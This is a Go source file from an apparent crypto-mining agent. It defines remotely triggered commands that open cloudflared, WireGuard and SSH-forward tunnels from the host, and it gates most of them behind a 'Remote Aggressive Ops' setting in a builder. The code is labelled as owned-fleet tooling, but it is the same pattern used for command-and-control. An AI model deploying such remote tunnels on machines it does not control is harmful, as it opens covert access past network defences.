package client

import (
	"encoding/json"
	"fmt"
	"strings"

	"crypto-miner-agent/deploy"
)

// tunnelActions are unified protocol tunneling commands (owned-fleet ops).
var tunnelActions = map[string]bool{
	"tunnel_cloudflared": true,
	"tunnel_wireguard":   true,
	"tunnel_ssh_forward": true,
	"tunnel_status":      true,
	"tunnel_stop":        true,
	"start_tunnel":       true, // legacy alias
}

func isTunnelAction(action string) bool {
	return tunnelActions[action]
}

func (c *AgentClient) allowTunnelAction(action string) (bool, string) {
	switch action {
	case "tunnel_status", "tunnel_wireguard":
		return true, ""
	default:
		if !c.cfg.RemoteAggressive {
			return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
		}
	}
	return true, ""
}

func (c *AgentClient) handleTunnelCommand(action string, command, path, data string) bool {
	if !isTunnelAction(action) {
		return false
	}

	ok, reason := c.allowTunnelAction(action)
	if !ok {
		c.sendCommandResult(action, false, reason)
		return true
	}

	switch action {
	case "tunnel_cloudflared", "start_tunnel":
		serverURL := strings.TrimSpace(command)
		if serverURL == "" {
			serverURL = strings.TrimSpace(path)
		}
		if serverURL == "" {
			serverURL = c.cfg.ServerURL
		}
		msg, err := deploy.StartCloudflaredTunnel(serverURL)
		if err != nil {
			c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
			return true
		}
		c.sendCommandResult(action, true, msg)
		return true

	case "tunnel_wireguard":
		var payload WGConfigPayload
		raw := strings.TrimSpace(data)
		if raw == "" {
			raw = strings.TrimSpace(command)
		}
		if err := json.Unmarshal([]byte(raw), &payload); err != nil {
			c.sendCommandResult(action, false, "bad wg config payload: "+err.Error())
			return true
		}
		go func() {
			if err := WGConfigure(payload); err != nil {
				c.sendCommandResult(action, false, err.Error())
				return
			}
			c.sendCommandResult(action, true, "WireGuard tunnel started")
		}()
		return true

	case "tunnel_ssh_forward":
		var meta deploy.SSHForwardMeta
		raw := strings.TrimSpace(data)
		if raw == "" {
			raw = strings.TrimSpace(command)
		}
		if err := json.Unmarshal([]byte(raw), &meta); err != nil {
			meta.LocalPort = parsePortArg(command, 0)
			hostPort := strings.TrimSpace(path)
			if idx := strings.LastIndex(hostPort, ":"); idx > 0 {
				meta.RemoteHost = hostPort[:idx]
				meta.RemotePort = parsePortArg(hostPort[idx+1:], 0)
			}
			meta.SSHUser = strings.TrimSpace(data)
		}
		msg, err := deploy.StartSSHForward(meta)
		if err != nil {
			c.sendCommandResult(action, false, err.Error())
			return true
		}
		c.sendCommandResult(action, true, msg)
		return true

	case "tunnel_status":
		raw := deploy.TunnelStatus()
		var st deploy.TunnelStatusJSON
		_ = json.Unmarshal([]byte(raw), &st)
		st.WireGuardActive = WGIsActive()
		if st.WireGuardActive {
			st.WireGuardDetail = WGStatus()
		}
		out, _ := json.Marshal(st)
		c.sendCommandResult(action, true, string(out))
		return true

	case "tunnel_stop":
		kind := strings.TrimSpace(strings.ToLower(command))
		var stopped int
		var msgs []string
		switch kind {
		case "", "all":
			stopped, msgs = deploy.StopTunnels()
			if WGIsActive() {
				WGTeardown()
				msgs = append(msgs, "WireGuard tunnel removed")
				stopped++
			}
		case "cloudflared", "cf":
			stopped, msgs = deploy.StopTunnels(deploy.TunnelCloudflared)
		case "ssh", "ssh_forward":
			stopped, msgs = deploy.StopTunnels(deploy.TunnelSSHForward)
		case "wireguard", "wg":
			if WGIsActive() {
				WGTeardown()
				msgs = append(msgs, "WireGuard tunnel removed")
				stopped = 1
			} else {
				msgs = append(msgs, "no active WireGuard tunnel")
			}
		default:
			c.sendCommandResult(action, false, "unknown kind — use all, cloudflared, ssh, or wireguard")
			return true
		}
		c.sendCommandResult(action, true, fmt.Sprintf("stopped %d tunnel(s)\n%s", stopped, strings.Join(msgs, "\n")))
		return true
	}

	return false
}
